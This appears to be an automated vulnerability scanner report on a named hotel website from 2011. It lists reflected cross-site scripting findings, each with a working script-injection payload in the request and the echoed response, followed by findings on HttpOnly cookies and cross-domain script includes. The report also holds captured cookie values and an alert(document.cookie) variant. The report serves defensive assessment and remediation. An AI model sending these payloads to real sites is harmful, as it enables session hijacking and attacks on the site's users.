Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.pointehilton.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6b8"><script>alert(1)</script>9146d6140e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?1e6b8"><script>alert(1)</script>9146d6140e3=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 05 Feb 2011 22:09:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=16197162;expires=Mon, 28-Jan-2041 22:09:27 GMT;path=/ Set-Cookie: CFTOKEN=56010509;expires=Mon, 28-Jan-2041 22:09:27 GMT;path=/ Content-Type: text/html; charset=UTF-8 Set-Cookie: BIGipServerIMS-6=773065226.20480.0000; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/index.cfm?1e6b8"><script>alert(1)</script>9146d6140e3=1" > ...[SNIP]...
1.2. http://www.pointehilton.com/404.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/404.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1761c"><script>alert(1)</script>df41c02bb48 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /404.cfm?1761c"><script>alert(1)</script>df41c02bb48=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 404 Not Found Connection: close Date: Sat, 05 Feb 2011 22:40:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/404.cfm?1761c"><script>alert(1)</script>df41c02bb48=1" > ...[SNIP]...
1.3. http://www.pointehilton.com/awards/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/awards/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7011e"><script>alert(1)</script>c1cb4f5731 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /awards/index.cfm?7011e"><script>alert(1)</script>c1cb4f5731=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:11:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/awards/index.cfm?7011e"><script>alert(1)</script>c1cb4f5731=1" > ...[SNIP]...
1.4. http://www.pointehilton.com/contact/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/contact/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd987"><script>alert(1)</script>09d3033758 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/index.cfm?dd987"><script>alert(1)</script>09d3033758=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:11:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/contact/index.cfm?dd987"><script>alert(1)</script>09d3033758=1" > ...[SNIP]...
1.5. http://www.pointehilton.com/employment/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/employment/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2e22"><script>alert(1)</script>d6b9d95a80b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /employment/index.cfm?b2e22"><script>alert(1)</script>d6b9d95a80b=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:11:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/employment/index.cfm?b2e22"><script>alert(1)</script>d6b9d95a80b=1" > ...[SNIP]...
1.6. http://www.pointehilton.com/favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2eba4"><script>alert(1)</script>5b859fb2210 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico?2eba4"><script>alert(1)</script>5b859fb2210=1 HTTP/1.1 Host: www.pointehilton.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; __utmc=69452433; __utmb=69452433.1.10.1296944075; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900
Response
HTTP/1.1 404 Not Found Connection: close Date: Sat, 05 Feb 2011 22:35:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/404.cfm?404;http://www.pointehilton.com:80/favicon.ico?2eba4"><script>alert(1)</script>5b859fb2210=1" > ...[SNIP]...
1.7. http://www.pointehilton.com/sitemap/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/sitemap/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e331"><script>alert(1)</script>86cfb649072 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitemap/index.cfm?9e331"><script>alert(1)</script>86cfb649072=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:11:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/sitemap/index.cfm?9e331"><script>alert(1)</script>86cfb649072=1" > ...[SNIP]...
1.8. http://www.pointehilton.com/special-offers/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pointehilton.com
Path:
/special-offers/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce71"><script>alert(1)</script>42f3414c72b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /special-offers/index.cfm?2ce71"><script>alert(1)</script>42f3414c72b=1 HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:11:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link rel="canonical" href="http://www.pointehilton.com/special-offers/index.cfm?2ce71"><script>alert(1)</script>42f3414c72b=1" > ...[SNIP]...
2. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 05 Feb 2011 22:09:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=16197155;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/ Set-Cookie: CFTOKEN=66704047;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/ Content-Type: text/html; charset=UTF-8 Set-Cookie: BIGipServerIMS-6=773065226.20480.0000; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServerIMS-6=806685194.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /toolkit/presentation/shell/hpportal/assets/default.css HTTP/1.1 Host: www.pointehilton.com Proxy-Connection: keep-alive Referer: http://www.pointehilton.com/favicon.ico?2eba4%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5b859fb2210=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=16197269; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900 If-None-Match: "80c0554c33c2cb1:39bd0" If-Modified-Since: Tue, 01 Feb 2011 17:13:09 GMT
Response
HTTP/1.1 200 OK Content-Length: 19526 Content-Type: text/css Content-Location: http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/default.css Last-Modified: Tue, 01 Feb 2011 17:13:09 GMT Accept-Ranges: bytes ETag: "80c0554c33c2cb1:37984" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 06 Feb 2011 17:15:30 GMT Set-Cookie: BIGipServerIMS-6=806685194.20480.0000; path=/
body {background-color:#5e260e; background-image:url(TC_Background_Slice.jpg); background-position:top center; background-repeat:repeat-y; margin-top:0px; margin-bottom:0px;} a {font-family:"Georgia" ...[SNIP]...
3. Cross-domain script includepreviousnext There are 8 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET / HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 05 Feb 2011 22:09:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=16197155;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/ Set-Cookie: CFTOKEN=66704047;expires=Mon, 28-Jan-2041 22:09:24 GMT;path=/ Content-Type: text/html; charset=UTF-8 Set-Cookie: BIGipServerIMS-6=773065226.20480.0000; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <link type="text/css" href="/toolkit/presentation/shell/hpportal/assets/jQuery/jquery-ui.custom.css" rel="stylesheet" > <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script> <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script> ...[SNIP]... </script>
GET /404.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 404 Not Found Connection: close Date: Sat, 05 Feb 2011 22:40:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /awards/index.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:10:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /contact/index.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:10:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /employment/index.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:10:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /favicon.ico HTTP/1.1 Host: www.pointehilton.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; __utmc=69452433; __utmb=69452433.1.10.1296944075; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900
Response
HTTP/1.1 404 Not Found Connection: close Date: Sat, 05 Feb 2011 22:34:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /sitemap/index.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:10:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
GET /special-offers/index.cfm HTTP/1.1 Host: www.pointehilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 06 Feb 2011 16:10:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
The following email address was disclosed in the response:
brandon.aaron@gmail.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js HTTP/1.1 Host: www.pointehilton.com Proxy-Connection: keep-alive Referer: http://www.pointehilton.com/?1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000
/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net) * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and GPL (http://www.opensource.org/licenses/gpl-li ...[SNIP]... ided so that one could change * the src of the iframe to whatever they need. * Default: "javascript:false;" * * @name bgiframe * @type jQuery * @cat Plugins/bgiframe * @author Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) */ $.fn.bgIframe = $.fn.bgiframe = function(s) { // This is only for IE6 if ( $.browser.msie && /6.0/.test(navigator.userAgent) ) { s = $.extend({ top : 'auto', ...[SNIP]...